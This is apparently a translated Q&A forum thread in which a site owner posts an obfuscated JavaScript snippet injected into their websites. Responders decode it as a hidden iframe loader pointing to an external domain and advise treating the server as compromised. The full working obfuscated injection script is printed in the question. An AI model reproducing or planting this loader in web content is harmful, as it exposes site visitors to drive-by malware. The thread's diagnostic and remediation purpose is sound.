2009-04-06 4 views
3

У меня есть проблема с некоторыми вирусами JS на всех моих сайтах. Они находятся на разных хостах, и на некоторых из них появляется этот код.Javascript «virus»

<script> 
function c2670903e0i49d9f1a845f6b(i49d9f1a846377) { 
    var i49d9f1a846737 = 16; 
    return (parseInt(i49d9f1a846377, i49d9f1a846737)); 
} 
function i49d9f1a8472f3(i49d9f1a8476d9) { 
    var i49d9f1a848679 = 2; 
    var i49d9f1a847da9 = ''; 
    i49d9f1a848e47 = String.fromCharCode; 
    for (i49d9f1a84828e = 0; i49d9f1a84828e < i49d9f1a8476d9.length; i49d9f1a84828e += i49d9f1a848679) { 
     i49d9f1a847da9 += (i49d9f1a848e47(c2670903e0i49d9f1a845f6b(i49d9f1a8476d9.substr(i49d9f1a84828e, i49d9f1a848679)))); 
    } 
    return i49d9f1a847da9; 
} 
var r1a = ''; 
var i49d9f1a84922e = '3C7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a +'43E696628216D7' + r1a + '96961297' + r1a + 'B646F637' + r1a + '56D656E7' + r1a + '42E7' + r1a + '7' + r1a + '7' + r1a + '2697' + r1a + '465287' + r1a + '56E657' + r1a + '363617' + r1a + '065282027' + r1a + '2533632536392536362537' + r1a + '322536312536642536352532302536652536312536642536352533642536332533322533362532302537' + r1a + '332537' + r1a + '32253633253364253237' + r1a + '2536382537' + r1a + '342537' + r1a + '342537' + r1a + '302533612532662532662536352536332536662536642532652537' + r1a + '322536312537' + r1a + '322536352536322537' + r1a + '322536352536352536342536362536662536662537' + r1a + '342537' + r1a + '37' + r1a + '2536352536312537' + r1a + '32253265253633253666253664253266253366253237' + r1a + '2532622534642536312537' + r1a + '342536382532652537' + r1a + '322536662537' + r1a + '352536652536342532382534642536312537' + r1a + '342536382532652537' + r1a + '32253631253665253634253666253664253238253239253261253332253335253332253331253336253334253239253262253237' + r1a + '253632253237' + r1a + '2532302537' + r1a + '37' + r1a + '2536392536342537' + r1a + '34253638253364253335253332253331253230253638253635253639253637' + r1a + '2536382537' + r1a + '342533642533342533382533342532302537' + r1a + '332537' + r1a + '342537' + r1a + '39253663253635253364253237' + r1a + '2537' + r1a + '362536392537' + r1a + '332536392536322536392536632536392537' + r1a + '342537' + r1a + '39253361253638253639253634253634253635253665253237' + r1a + '2533652533632532662536392536362537' + r1a + '3225363125366425363525336527' + r1a + '29293B7' + r1a + 'D7' + r1a + '6617' + r1a + '2206D7' + r1a + '969613D7' + r1a + '47' + r1a + '27' + r1a + '5653B3C2F7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a + '43E'; 
document.write(i49d9f1a8472f3(i49d9f1a84922e)); 
</script> 

NOD32 блокирует веб-сайт, потому что он считает, есть вирус. Удаление кода из источников не помогает, потому что оно снова появляется снова. Это не может быть результатом XSS, потому что он появляется даже на статических веб-сайтах.

Я попытался выполнить полное сканирование моей системы, и это не помогло. Единственное, что есть на всех сайтах, - это Google Analytics, который, я думаю, не мог бы это сделать.

Редактировать: Вы можете увидеть это, например, в http://www.postuj.cz/test/ или по адресу http://flavicius.php5.cz/.

+0

Вы уверены, что он не создается плагином для браузера? Что произойдет, если кто-то еще просмотрит ваш сайт? –

+0

Другие люди тоже могут это увидеть, вот как я узнал, мой друг сказал мне, что NOD32 обнаружил там вирус. –

ответ

7

Они находятся на разных хостингах, а на некоторых из них появляется этот код.

Является ли код одинаковым на каждом хосте? Можете ли вы привести пример одного из затронутых доменов, чтобы мы могли проверить, существует ли код на стороне сервера, а не только на вашем компьютере (что обычно маловероятно).

Код, который вы опубликовали, безусловно, очень подозрительный. После декодирования он пишет iframe на http: // ecom.rarebreedfootwear.com/? (он пытается добавить случайное число кэш-памяти в URL-адрес, но не удается из-за опечатки).

Нет ничего очевидного в использовании этого адреса - возможно, конечный целевой эксплойт еще не установлен, или это просто тестовый прогон для реальной атаки позже, но неожиданный JavaScript, появляющийся на вашем сайте, который декодирует себя и добавляет iframe - огромный красный флаг. Обычно это означает, что ваш сервер был взломан и нуждается в повторной установке с нуля с новыми паролями.

ETA:

вы можете увидеть, например, на hxxp: //flavicius.php5.cz/

Спасибо. Я удалил комментарий, чтобы скрыть рабочий URL, потому что он действительно заражен. Является ли на уровне приложения или сам Apache неясным, но на каждой странице есть подозрительный скрипт внизу.

Так что, по крайней мере, приложение и, предположительно, сервер скомпрометирован и должен быть отключен для очистки, переустановки и диагностики: вам нужно выяснить, как нападавшие попали, так что это не повторится. Прежде всего, убедитесь, что у вас установлена ​​последняя версия WordPress, так как в прошлом у нее было много дыр в безопасности.

+0

Вы можете использовать ** KyplexAV ** для обнаружения зараженных страниц в блоге Wordpress. Это бесплатно. – maozet

7

Это похоже на Vundo или его вариант. Эта часть вредоносного ПО имеет тенденцию вставлять, казалось бы, бессмысленный javascript в сайты (на вашем конце, а не на стороне сервера). Я предлагаю попробовать Malwarebytes' Anti-Malware. Установите его, обновите и выполните полное сканирование. Если это не удается, попробуйте изучить варианты удаления Vundo специально.

 Смежные вопросы

  • Нет связанных вопросов^_^